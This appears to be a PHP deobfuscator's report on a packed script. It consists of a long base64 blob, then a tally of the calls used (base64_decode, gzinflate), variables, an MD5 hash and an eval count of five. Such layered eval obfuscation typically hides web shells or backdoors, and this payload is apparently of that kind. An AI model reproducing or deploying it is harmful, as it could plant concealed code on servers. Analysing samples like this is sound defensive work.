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'\x29\x29\x29\x3B");

Function Calls

gzinflate 3
dohavj05411 1
base64_decode 3

Variables

$a base64_decode
$b gzinflate
$str 7P19W9u48jgO/3+u67wH1ctZh1PIE9AWaGh5JhQoJTy3/XGc2ElMnDhrO4TQ..

Stats

MD5 80de859af180190f69964df857c81e30
Eval Count 5
Decode Time 629 ms